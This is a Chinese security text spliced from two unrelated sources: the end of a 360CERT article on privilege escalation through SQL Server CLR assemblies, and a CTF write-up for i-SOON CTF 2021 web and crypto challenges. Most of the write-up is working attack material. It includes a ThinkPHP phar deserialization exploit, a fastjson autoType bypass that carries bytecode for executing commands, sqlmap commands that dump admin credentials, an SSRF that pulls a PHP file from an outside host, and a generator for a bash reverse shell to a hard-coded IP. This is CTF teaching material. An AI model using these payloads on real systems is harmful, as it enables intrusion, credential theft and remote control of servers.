找到编译文件夹，将dacpac文件解压出来，获得其中的sql文件。
图5：获得到16进制文件流数据
⑥执行sql语句
逻辑就是创建存储过程，以及获得一个实例，去执行它。
⑦结果
找到C:/sql_exec目录下，里面确实有执行结果，并且所有者为MSSQLSERVER。
**0x04 深入研究**
**1、执行方式的异同**
之前所说过，SQL Server执行CLR，有两种方法，一种是引入文件，第二种是FROM文件流。针对这两种方法，我们进行对比。
通过WinHex,打开代码编译后得到的dll文件。进行查看：
图8：编译后得到的dll
之后我们对比解压出来sql文件中的16进制流文件。进行对比：
图9：得到sql文件
经过对比，发现里面的内容是一样的，所以在SQL Server执行过程中，对两种方法的效果是一样的。
**2、提权行为分析**
在此次试验中，执行sql语句的用户是testUser,并不是高权限的数据库角色。对testUser仅分配了CREATE ASSEMBLY, CREATE
PROCEDURE, EXEC权限。
图10：用户
CLR执行的环境是在SQLServer，通过CREATE ASSEMBLY, CREATE
PROCEDURE创建存储过程，实例化操作对象，之后再经过EXEC执行。
在整个过程中，对代码进行执行的对象不是数据库角色testUser，而是数库自己本身。之前设计CLR时，执行“whoami/user”指令，打印出的结果为“nt
servicemssqlserver”，并且查看生成文件属性中的所有者，是mssqlserver。
在低权限的数据库用户对象，可以通过SQLServer中CLR代码执行，进行获得数据库权限，这也是一种提权的方式，因为这个操作本身的执行者，是数据库，而不是数据库用户。
①程序集的权限的安全策略
决定授予程序集的权限的安全策略定义在三个不同的位置：
1.计算机策略：这是对安装了SQL Server 的计算机中运行的所有托管代码都有效的策略。
2.用户策略：这是对进程承载的托管代码有效的策略。对于 SQL Server，用户策略特定于 SQL Server 服务运行时所使用的 Windows
帐户。
3.主机策略：这是由 CLR（在本文中为 SQLServer）的主机设置的策略，对该主机中运行的托管代码有效。
在SQL Server 中运行时授予托管代码的代码访问安全性权限集为以上三种策略级别授予的权限集的交集。即使 SQL Server 向加载到 SQL
Server 中的程序集授予一个权限集，赋予用户代码的最终权限集仍可能受用户和计算机级别策略的进一步限制。所以，针对CLR代码执行的权限最高只是到SQL
Server本体，也就是MSSQLSERVER身份。
②SQL Server 主机策略级别权限集
除此之外还有SQL Server 主机策略级别权限集，分别为SAFE、EXTERNAL_ACCESS和 UNSAFE。
SAFE：由具有 SAFE 权限的程序集执行的代码无法访问外部系统资源，例如文件、网络、环境变量或注册表。
EXTERNAL_ACCESS：与 SAFE 程序集具有相同的权限，此外，还可以访问外部系统资源，例如文件、网络、环境变量和注册表。
UNSAFE：允许程序集不受限制地访问SQL Server 内部和外部的资源。从 UNSAFE 程序集内部执行代码时也可以调用非托管代码。
下表总结了授予 SAFE、EXTERNAL_ACCESS 和 UNSAFE 权限集的权限以及为其设定的限制。
所以，之前创建CLR项目，将权限级设为UNSAFE。
③CLR程序执行的过程
对于整个利用流程，如下图：
高权限数据库用户，创建的低权限testUser用户，通过创建存储过程创建CLR执行代码，并且程序集的主机权限设置为了UNSAFE，这样就可以不受限制地访问
SQL Server 内部和外部的资源。但是对于程序执行的对象，是CLR，由于用户策略限制，所以运行的最高身份是MSSQLSERVER。
**0x05 现实意义**
今天讨论的CLR代码执行开拓了另一种思路。回顾之前的SQL Server执行系统命令常用的方法，有这么几种：
**1、XP_CMDSHELL：**
exec master..xp_cmdshell "whoami"
但是默认情况下xp_cmdshell是关闭的。需要sp_configure开启
**2、SP_OACREATE**
在移除xp_cmdshell的情况下，可以使用SP_OACreate
**3、修改注册表**
修改注册表比较鸡肋，需要对机器进行重启。
相比以上三种方式。CLR代码执行，执行对象是MSSQLSERVER，权限更高。并且不仅仅可以执行操作系统命令，还可以借助C#代码，使操作更丰富，更灵活。
但是，SQL Server执行CLR，必须要满足：
1、数据库开启CLR.
2、数据库用户有CREATE ASSEMBLY, CREATE PROCEDURE, EXEC权限。
查阅SQLServer官方文档，在默认情况下，Microsoft SQL Server 中关闭了公共语言运行库 (CLR) 集成功能。必须启用该功能才能使用
SQL Server 项目项。若要启用 CLR 集成，请使用 sp_configure 存储过程的“启用 clr”选项。
**0x06 防范措施**
1、非必要条件下，关闭CLR 集成。
2、用户权限分配时，剥夺CREATE ASSEMBLY, CREATE PROCEDURE, EXEC权限。
**0x07 参考文档**
1、<https://msdn.microsoft.com/zh-cn/library/5czye81z(v=vs.80).aspx>
2、<https://msdn.microsoft.com/zh-cn/library/ms165051(v=vs.80).aspx>
3、<https://msdn.microsoft.com/zh-cn/library/ms254506(v=vs.80).aspx>
4、<https://blog.netspi.com/attacking-sql-server-clr-assemblies/#Import>
5、<http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/>
网站地址：<http://cert.360.cn>
长按下方二维码关注360CERT！谢谢你的关注！ | 社区文章 |
本文由 [@D0g3](https://www.d0g3.cn/about) 编写
i-SOON_CTF_2021 部分题目环境/源码后续将在Github开源
[项目地址](https://github.com/D0g3-Lab/)
# WEB
## EZ_TP
首先 www.zip 源码下载，找到路由，`/?s=/index/index/hello`，简单的变量覆盖，能读文件但找不到 flag ，看到 5.1.37
版本，考虑 phar 反序列化漏洞，网上找了个 exp ，再生成 phar 文件。
POC：
<?php
namespace think {
abstract class Model
{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = ["lin" => ["calc.exe", "calc"]];//让它成为__call里面的参数
$this->data = ["lin" => new Request()];//调用new Request()->visible($name)
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct()
{
$this->filter = "system";//让filterValue里面的$filter=system
$this->config = ["var_ajax" => 'lin'];//让input里面的$name = $this->config['var_ajax']=lin,$data就是get请求['lin'=>'calc']
$this->hook = ["visible" => [$this, "isAjax"]];//让filterValue里的$data = filterValue.$value = calc 、 $filter = filterValue.$filters = [0->system,1->$default] 、 $name = filterValue.$key = 'lin'
}
}
}
namespace think\process\pipes {
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];//为了调用module类
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
namespace {
use think\process\pipes\Windows;
@unlink("d.phar");
$phar = new Phar("d.phar"); //后缀名必须为phar,这里意思就是产生一个test.phar文件。
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new Windows();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","woshilnp");//添加要压缩的文件及文件内容
//签名自动计算
$phar->stopBuffering();
}
?>
然后：
<?php
echo base64_encode(file_get_contents('d.phar'));
这里有一个小坑，变量覆盖的时候，`+`需要两次 urlencode ，
GET：
http://127.0.0.1/public/?s=index/index/hello&lin=ls /
POST:
world=a=phar://hello.txt%26hello=%25%35%38%25%33%31%25%33%39%25%34%39%25%35%31%25%35%35%25%37%38%25%35%35%25%35%38%25%33%30%25%34%65%25%35%30%25%35%34%25%35%36%25%34%32%25%34%61%25%35%34%25%34%35%25%35%36%25%35%33%25%34%62%25%34%33%25%36%62%25%33%37%25%34%39%25%34%34%25%33%38%25%32%62%25%34%34%25%35%31%25%37%32%25%34%36%25%34%31%25%35%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%31%25%34%31%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%35%30%25%34%31%25%35%31%25%34%31%25%34%31%25%35%34%25%37%61%25%36%66%25%37%39%25%34%65%25%37%61%25%36%66%25%36%39%25%36%34%25%34%37%25%36%38%25%37%30%25%36%32%25%36%64%25%37%34%25%36%33%25%36%33%25%34%38%25%34%61%25%37%36%25%35%39%25%33%32%25%35%36%25%37%61%25%36%33%25%33%31%25%37%38%25%37%37%25%36%31%25%35%38%25%34%32%25%36%63%25%36%33%25%33%31%25%37%38%25%35%38%25%36%31%25%35%37%25%33%35%25%36%62%25%36%32%25%33%33%25%36%34%25%37%61%25%34%39%25%36%61%25%36%66%25%37%38%25%34%66%25%36%65%25%37%34%25%37%61%25%34%66%25%36%61%25%34%64%25%33%30%25%34%66%25%36%39%25%34%39%25%34%31%25%36%34%25%34%37%25%36%38%25%37%30%25%36%32%25%36%64%25%37%34%25%36%33%25%36%33%25%34%38%25%34%61%25%37%36%25%35%39%25%33%32%25%35%36%25%37%61%25%36%33%25%33%31%25%37%38%25%37%37%25%36%31%25%35%38%25%34%32%25%36%63%25%36%33%25%33%31%25%37%38%25%35%38%25%36%31%25%35%37%25%33%35%25%36%62%25%36%32%25%33%33%25%36%34%25%37%61%25%34%31%25%34%37%25%35%61%25%37%30%25%36%32%25%34%37%25%35%36%25%37%61%25%34%39%25%36%61%25%37%34%25%36%38%25%34%66%25%36%61%25%34%35%25%33%36%25%36%35%25%33%32%25%36%62%25%33%36%25%34%64%25%34%34%25%37%34%25%35%30%25%34%66%25%36%61%25%34%35%25%33%33%25%34%66%25%36%39%25%34%61%25%33%30%25%36%31%25%34%37%25%36%63%25%37%35%25%36%31%25%33%31%25%37%38%25%37%34%25%36%32%25%33%32%25%35%32%25%36%63%25%36%32%25%34%36%25%37%38%25%35%31%25%36%31%25%35%38%25%35%61%25%37%36%25%36%34%25%34%33%25%34%39%25%33%36%25%34%64%25%36%61%25%37%30%25%33%37%25%36%33%25%37%61%25%36%66%25%33%35%25%34%66%25%36%39%25%34%39%25%34%31%25%34%62%25%36%37%25%34%32%25%36%38%25%36%33%25%34%38%25%34%32%25%36%63%25%36%32%25%36%64%25%35%31%25%36%39%25%34%66%25%33%32%25%34%35%25%33%36%25%34%64%25%35%34%25%37%30%25%33%37%25%36%33%25%37%61%25%36%66%25%37%61%25%34%66%25%36%39%25%34%61%25%37%33%25%36%31%25%35%37%25%33%34%25%36%39%25%34%66%25%33%32%25%34%35%25%33%36%25%34%64%25%36%61%25%37%30%25%33%37%25%36%31%25%35%34%25%36%66%25%37%37%25%34%66%25%33%33%25%34%64%25%33%36%25%34%66%25%34%34%25%36%66%25%36%39%25%35%39%25%33%32%25%34%36%25%37%33%25%35%39%25%37%39%25%33%35%25%36%63%25%36%35%25%34%37%25%35%35%25%36%39%25%34%66%25%33%32%25%36%62%25%33%36%25%34%64%25%35%34%25%37%34%25%37%61%25%34%66%25%36%61%25%35%31%25%33%36%25%34%39%25%36%64%25%34%65%25%36%38%25%36%32%25%34%37%25%34%64%25%36%39%25%34%66%25%33%33%25%33%31%25%33%39%25%36%33%25%37%61%25%36%66%25%37%38%25%34%65%25%37%61%25%36%66%25%36%39%25%34%31%25%34%38%25%35%32%25%36%66%25%36%31%25%35%37%25%33%35%25%37%32%25%35%38%25%34%35%25%33%31%25%37%36%25%35%61%25%34%37%25%35%36%25%37%33%25%34%31%25%34%37%25%35%32%25%36%38%25%36%34%25%34%37%25%34%35%25%36%39%25%34%66%25%33%32%25%34%35%25%33%36%25%34%64%25%35%34%25%37%30%25%33%37%25%36%33%25%37%61%25%36%66%25%37%61%25%34%66%25%36%39%25%34%61%25%37%33%25%36%31%25%35%37%25%33%34%25%36%39%25%34%66%25%33%30%25%33%38%25%33%36%25%34%64%25%35%34%25%34%64%25%33%36%25%34%39%25%36%65%25%35%32%25%36%66%25%36%31%25%35%37%25%33%35%25%37%32%25%35%38%25%34%36%25%34%61%25%36%63%25%36%33%25%35%38%25%35%36%25%36%63%25%36%33%25%33%33%25%35%31%25%36%39%25%34%66%25%36%61%25%34%64%25%33%36%25%36%35%25%33%33%25%34%64%25%33%36%25%34%65%25%37%61%25%36%66%25%36%39%25%34%31%25%34%33%25%36%66%25%34%31%25%36%31%25%34%37%25%33%39%25%37%36%25%36%31%25%37%39%25%34%39%25%33%37%25%35%39%25%35%34%25%36%66%25%37%38%25%34%66%25%36%65%25%37%34%25%37%61%25%34%66%25%36%61%25%36%33%25%33%36%25%34%39%25%36%65%25%35%61%25%37%30%25%36%33%25%33%32%25%36%63%25%36%39%25%36%32%25%34%37%25%35%35%25%36%39%25%34%66%25%33%32%25%34%35%25%33%36%25%34%64%25%36%61%25%37%30%25%33%37%25%36%31%25%35%34%25%36%66%25%37%37%25%34%66%25%33%33%25%34%39%25%33%36%25%34%66%25%35%34%25%37%34%25%37%30%25%34%66%25%36%61%25%34%35%25%33%37%25%36%33%25%37%61%25%36%66%25%33%32%25%34%66%25%36%39%25%34%61%25%37%30%25%36%33%25%33%30%25%34%36%25%37%31%25%35%39%25%35%38%25%36%37%25%36%39%25%34%66%25%33%33%25%33%31%25%33%39%25%36%33%25%37%61%25%36%66%25%33%35%25%34%66%25%36%39%25%34%39%25%34%31%25%34%62%25%36%37%25%34%32%25%36%64%25%36%31%25%35%37%25%37%38%25%33%30%25%35%61%25%35%38%25%34%39%25%36%39%25%34%66%25%33%33%25%34%64%25%33%36%25%34%65%25%36%61%25%36%66%25%36%39%25%36%33%25%33%33%25%36%63%25%37%61%25%36%34%25%34%37%25%35%36%25%37%34%25%34%39%25%36%61%25%37%34%25%37%61%25%34%66%25%36%61%25%36%62%25%33%36%25%34%39%25%36%37%25%34%31%25%37%31%25%34%31%25%34%37%25%34%65%25%37%36%25%36%32%25%36%64%25%35%61%25%37%30%25%35%61%25%37%39%25%34%39%25%33%37%25%35%39%25%35%34%25%36%66%25%37%38%25%34%66%25%36%65%25%37%34%25%37%61%25%34%66%25%36%61%25%36%37%25%33%36%25%34%39%25%36%65%25%35%61%25%36%38%25%36%33%25%36%63%25%33%39%25%36%38%25%36%31%25%36%64%25%34%36%25%33%34%25%34%39%25%36%61%25%37%34%25%37%61%25%34%66%25%36%61%25%34%64%25%33%36%25%34%39%25%36%64%25%37%38%25%37%30%25%36%32%25%36%39%25%34%39%25%33%37%25%36%36%25%35%38%25%33%31%25%33%39%25%36%36%25%35%38%25%33%31%25%33%39%25%34%33%25%34%31%25%34%31%25%34%31%25%34%31%25%34%38%25%35%32%25%36%63%25%36%33%25%33%33%25%35%31%25%37%35%25%36%34%25%34%38%25%36%38%25%33%30%25%34%33%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%35%30%25%37%37%25%36%65%25%35%37%25%34%35%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%33%31%25%33%34%25%35%35%25%36%63%25%34%65%25%37%32%25%35%39%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%36%34%25%33%32%25%33%39%25%37%61%25%36%31%25%34%37%25%36%63%25%37%33%25%36%32%25%36%65%25%34%34%25%34%38%25%34%66%25%37%38%25%36%62%25%37%34%25%35%35%25%35%36%25%36%34%25%36%37%25%34%65%25%36%31%25%34%35%25%36%31%25%37%37%25%37%61%25%36%64%25%34%33%25%36%34%25%37%31%25%34%62%25%37%39%25%36%32%25%37%33%25%34%33%25%35%34%25%34%34%25%37%37%25%34%39%25%34%31%25%34%31%25%34%31%25%34%32%25%34%38%25%35%31%25%36%62%25%33%31%25%34%33%25%30%61
## **ezjson**
任意文件下载 file=/proc/self/fd/5 获得源码
有一个fastjson反序列化入口
@ResponseBody
@RequestMapping({"/json"})
public String hello(HttpServletRequest request, HttpServletResponse response) {
String Poc = request.getParameter("Poc");
if (Poc != null) {
String pattern = ".*Exec.*|.*cmd.*"; /
boolean isMatch = Pattern.matches(pattern, Poc);
if (isMatch) {
return "No way!!!";
} else {
JSON.parse(Poc);
return Poc;
}
} else {
return "readme";
}
}
fastjson版本为1.2.47,需要我们绕过autoType,然后去触发我们的App.Exec#getFlag(),其中正则用编码进行绕过
public String getFlag() throws Exception {
Exec defineclass = new Exec(this.getClass().getClassLoader());
Class clazz = defineclass.defineClass((String)null, this.ClassByte, 0,
this.ClassByte.length);
Method exec = clazz.getMethod("Exec", String.class);
Object Obj = clazz.newInstance();
exec.invoke(Obj, this.cmd);
return this.flag;
}
因为用的是parse来进行反序列化,可以用$ref来调用getter,也可以通过su18师傅的方法
<https://su18.org/post/fastjson-1.2.68/#%E5%89%8D%E8%A8%80>
题目没有出网,构造命令回显(也可以写文件,然后通过最开始的文件下载获取flag)
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
public class payload{
static {
HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
String resHeader=request.getParameter ( "cmd" );
java.io.InputStream in = null;
try {
in = Runtime.getRuntime().exec(resHeader).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
BufferedReader br = null;
try {
br = new BufferedReader (new InputStreamReader(in, "GBK"));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String line = null;
StringBuilder sb = new StringBuilder();
while (true) {
try {
if (!((line = br.readLine()) != null)) break;
} catch (IOException e) {
e.printStackTrace();
}
sb.append(line);
sb.append("\n");
}
java.io.PrintWriter out = null;
try {
out = new java.io.PrintWriter(response.getOutputStream());
} catch (IOException e) {
e.printStackTrace();
}
out.write(sb.toString ());
out.flush();
out.close();
}
public void Exec(String cmd)throws Exception{
Runtime.getRuntime().exec(cmd);
}
}
payload:
POST /json?cmd=cat /flag HTTP/1.1
Poc={
"name":{
"@type":"java.lang.Class",
"val":"\x41\x70\x70\x2e\x45\x78\x65\x63"
},
"y":{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"\x41\x70\x70\x2e\x45\x78\x65\x63", "ClassByte":x'CAFEBABE0000003400950A0021004E0A004F00500A004F00510A005200530700540A000500550A0005005608002B0B005700580A0059005A07005B0A000B005C07005D07005E08005F0A000E00600A000D00610700620A0012005C0700630A0014004E0A000D00640A001400650800660700670B006800690A0019006A0A0014006B0A0019006C0A0019006D0A0019006E07006F0700700100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100094C7061796C6F61643B01000445786563010015284C6A6176612F6C616E672F537472696E673B2956010003636D640100124C6A6176612F6C616E672F537472696E673B01000A457863657074696F6E730700710100104D6574686F64506172616D65746572730100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B0100264C6A6176612F696F2F556E737570706F72746564456E636F64696E67457863657074696F6E3B010007726571756573740100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010008726573706F6E73650100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B010009726573486561646572010002696E0100154C6A6176612F696F2F496E70757453747265616D3B01000262720100184C6A6176612F696F2F42756666657265645265616465723B0100046C696E6501000273620100194C6A6176612F6C616E672F537472696E674275696C6465723B0100036F75740100154C6A6176612F696F2F5072696E745772697465723B01000D537461636B4D61705461626C6507007207007307007407007507005B07005D07006207006307006701000A536F7572636546696C6501000C7061796C6F61642E6A6176610C002200230700760C007700780C0079007A07007B0C007C007D0100406F72672F737072696E676672616D65776F726B2F7765622F636F6E746578742F726571756573742F536572766C657452657175657374417474726962757465730C007E007F0C008000810700720C008200830700840C008500860100136A6176612F696F2F494F457863657074696F6E0C008700230100166A6176612F696F2F42756666657265645265616465720100196A6176612F696F2F496E70757453747265616D52656164657201000347424B0C002200880C002200890100246A6176612F696F2F556E737570706F72746564456E636F64696E67457863657074696F6E0100176A6176612F6C616E672F537472696E674275696C6465720C008A008B0C008C008D0100010A0100136A6176612F696F2F5072696E745772697465720700730C008E008F0C002200900C0091008B0C0092002A0C009300230C009400230100077061796C6F61640100106A6176612F6C616E672F4F626A6563740100136A6176612F6C616E672F457863657074696F6E0100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100106A6176612F6C616E672F537472696E670100136A6176612F696F2F496E70757453747265616D0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B01003C6F72672F737072696E676672616D65776F726B2F7765622F636F6E746578742F726571756573742F52657175657374436F6E74657874486F6C646572010014676574526571756573744174747269627574657301003D28294C6F72672F737072696E676672616D65776F726B2F7765622F636F6E746578742F726571756573742F52657175657374417474726962757465733B01000A6765745265717565737401002928294C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B01000B676574526573706F6E736501002A28294C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B01000C676574506172616D65746572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100116A6176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B01000F7072696E74537461636B547261636501002A284C6A6176612F696F2F496E70757453747265616D3B4C6A6176612F6C616E672F537472696E673B2956010013284C6A6176612F696F2F5265616465723B2956010008726561644C696E6501001428294C6A6176612F6C616E672F537472696E673B010006617070656E6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E674275696C6465723B01000F6765744F757470757453747265616D01002528294C6A617661782F736572766C65742F536572766C65744F757470757453747265616D3B010019284C6A6176612F696F2F4F757470757453747265616D3B2956010008746F537472696E670100057772697465010005666C757368010005636C6F7365002100200021000000000003000100220023000100240000002F00010001000000052AB70001B10000000200250000000600010000000A00260000000C00010000000500270028000000010029002A00030024000000410002000200000009B800022BB6000357B10000000200250000000A0002000000310008003200260000001600020000000900270028000000000009002B002C0001002D000000040001002E002F0000000501002B0000000800300023000100240000025400060009000000BCB80004C00005B600064BB80004C00005B600074C2A1208B9000902004D014EB800022CB60003B6000A4EA7000A3A041904B6000C013A04BB000D59BB000E592D120FB70010B700113A04A7000A3A051905B60013013A05BB001459B700153A061904B60016593A05C70006A70020A7000A3A071907B6000C19061905B600175719061218B6001757A7FFD8013A07BB0019592BB9001A0100B7001B3A07A7000A3A081908B6000C19071906B6001CB6001D1907B6001E1907B6001FB10004001F002A002D000B0037004A004D00120060006B0071000B008E009D00A0000B000300250000007A001E0000000C000A000D0014000E001D000F001F0011002A0014002D0012002F00130034001500370017004A001A004D0018004F00190054001B0057001C0060001F006E002200710020007300210078002300800024008B0026008E0028009D002B00A0002900A2002A00A7002C00B1002D00B6002E00BB002F00260000007A000C002F0005003100320004004F00050031003300050073000500310032000700A20005003100320008000A00B1003400350000001400A7003600370001001D009E0038002C0002001F009C0039003A000300370084003B003C000400570064003D002C00050060005B003E003F0006008E002D004000410007004200000066000BFF002D0004070043070044070045070046000107004706FF00180005070043070044070045070046070048000107004906FD000B07004507004A0D420700470612FF0014000807004307004407004507004607004807004507004A07004B0001070047060001004C00000002004D',
"$ref":"$.y.c.flag"
}
}
}
## **ezcms**
<http://110.40.192.242:6003/>
扫描目录
python3 .\dirsearch.py -u http://110.40.192.242:6003/ -e *
得到源码web.zip
官网下载地址
https://www.sem-cms.cn/Images/down/Scshop1.5.zip
这个cms是刚出的一个商城管理系统，所以漏洞还是比较多的
代码审计
在/Core/Program/Ant_Rponse.php的提交订阅处存在sql注入
简单审计即可看到这三个参数是存在sql注入的，当然还有很多其他地方
这里在e_couid参数处进行bool注入
POST /Core/Program/Ant_Rponse.php?actions=ClearOrder&id=1 HTTP/1.1
Host: 110.40.192.242:6003
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://110.40.192.242:6003
Connection: close
Referer: http://110.40.192.242:6003/
Cookie: PHPSESSID=bekub0gllm8avg8pp8kder0m0i
e_ml=aaaa%40qq.com&e_couid=6*&e_coucode=SEMCMS
python3 .\sqlmap.py -r .\1.txt --dbs --technique B
之后跑后台账号密码
python3 .\sqlmap.py -r .\1.txt --technique B -D semcms15 -T sc_user -C user_name,user_admin,user_ps --dump
密码解密为`admin888`/`admin888`
该cms在进行安装的时候会将后台目录进行随机命名，但是在源码中泄露了后台地址
`CxWsbN_AR4`
登录后台
之后得想办法获取服务器权限
在后台目录中有一个`/CxWsbN_AR4/Ant_Curl.php`文件，经过审计该有一个获取文件的功能
查看getfile函数
一个ssrf，并且会将我们的文件进行保存
构造payload
110.40.192.242:6003/CxWsbN_AR4/Ant_Curl.php?url=http://sem-cms.cn@116.62.104.172/111.php
这里需要绕过一个检测
之后访问
http://110.40.192.242:6003/Soft/Zip/111.php
即可
## **RssblogV2.0**
### 出题思路
出题思路来自Rsshub之前披露的漏洞风险通报
没有exp，简单跟了一下，大概问题就是爬取目标地址时，使用eval或Function来执行script字段，并且在测试过程中还意外发现能通过目录穿越来控制内容。即它本来是爬去单个页面，但通过路径穿越使得攻击面从单个网页扩大到了整个网站
然后简单按照这个思路出了rssblog，原本在陇原战疫就出了一个rssblog，但那道题由纯node实现，node解析路由是无法路径穿越的，当时时间紧迫就来不及改了，遂放了半成品上去hhh
后面自己又去github找了个php的简易博客魔改用来把文章相关功能分离开，就能路径穿越了
### 题解
拿到源码可知一共存在两个web服务，外层的PHP博客和内网中的node服务
简单看一下外面的php源码可以发现是就是一个简单的博客，具有文章增删查改的基础功能
在`GetRss/index.php`这里可以看到对内网中的node服务发起了请求，且获取了xml结果
那么看向node
这里获取了固定的`http://localhost/Rssinfo/index.php/`下的内容，回头看一下`Rssinfo/index.php`可以发现这里就是根据文章id返回相应信息的接口
而node服务正是获取其script标签中的`var passage = {****}`来执行
那是否我们能通过控制title或者author内容来闭合大括号来传入Function呢？
理论是可以的，但文章修改和发布都限制了`strlen($title) > 10 || strlen($author) > 10`
10个字符来RCE显然是行不通的，所以需要让它访问到我们发布的文章才行
回到node源码那里，可以看到访问`id`是直接拼接进URL的，那我们输入`../../`，传入`request`的就是`http://localhost/Rssinfo/index.php/../../`，即`http://localhost/`
答案呼之欲出了，就是通过目录穿越来访问到我们发布的文章，我们在发布的文章中构造payload来传入Function实现RCE
最后还有个点，因为页面防XSS缘故，单双引号都会被HTML实体编码，所以需要用String.fromCharCode绕一下
payload生成脚本如下
cmd = "bash -c 'bash -i >& /dev/tcp/82.157.130.188/1234 0>&1'"
strs = ''
for i in cmd:
num = ord(i)
strs += "String.fromCharCode("+str(num)+")+"
payload = "var passage = {1:global.process.mainModule.require(String.fromCharCode(99)+String.fromCharCode(104)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(100)+String.fromCharCode(95)+String.fromCharCode(112)+String.fromCharCode(114)+String.fromCharCode(111)+String.fromCharCode(99)+String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(115)).exec(" \
+ strs.strip("+") \
+ ")};"
print(payload)
#child_process
#String.fromCharCode(99)+String.fromCharCode(104)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(100)+String.fromCharCode(95)+String.fromCharCode(112)+String.fromCharCode(114)+String.fromCharCode(111)+String.fromCharCode(99)+String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(115)
将生成的payload拿去发布文章
然后查看文章链接，如我这里就是`/article.show.php?id=2`
那我们路径穿越就需要设置为`../../article.show.php?id=2`，然后双重URL编码一下(浏览器+curl_exec)
访问`/GetRss/index.php/%252e%252e%252f%252e%252e%252f%2561%2572%2574%2569%2563%256c%2565%252e%2573%2568%256f%2577%252e%2570%2568%2570%253f%2569%2564%253d%2532`即可收到shell
# **CRYPTO**
## **little_trick**
RSA的dp和dq泄露攻击。
dp每一位位与rands[i%4]进行同或，dq每一位是用一个rsa加密。（rands需要用python2生成）
from Crypto.Util.number import sieve_base, long_to_bytes
import gmpy2
import random
def decode(p,q,dp,dq,c,n):
invertP = gmpy2.invert(p,q)
m1 = gmpy2.powmod(c,dp,p)
m2 = gmpy2.powmod(c,dq,q)
m =( ( (m2-m1) * invertP ) * p + m1 ) % n
print(long_to_bytes((m)).decode())
p = 119494148343917708105807117614773529196380452025859574123211538859983094108015678321724495609785332508563534950957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291955066822268279533978514896151007690729926904044407542983781817530576308669792533266431
q = 125132685086281666800573404868585424815247082213724647473226016452471461555742194042617318063670311290694310562746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827049478153958964127866484011400391821374773362883518683538899757137598483532099590137741
n = p * q
c = 10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210303055466145819256893293429223389828252657426030118534127684265261192503406287408932832340938343447997791634435068366383965928991637536875223511277583685579314781547648602666391656306703321971680803977982711407979248979910513665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451783712626665065161704126536742755054830427864982782030834837388544811172279496657776884209756069056812750476669508640817369423238496930357725842768918791347095504283368032
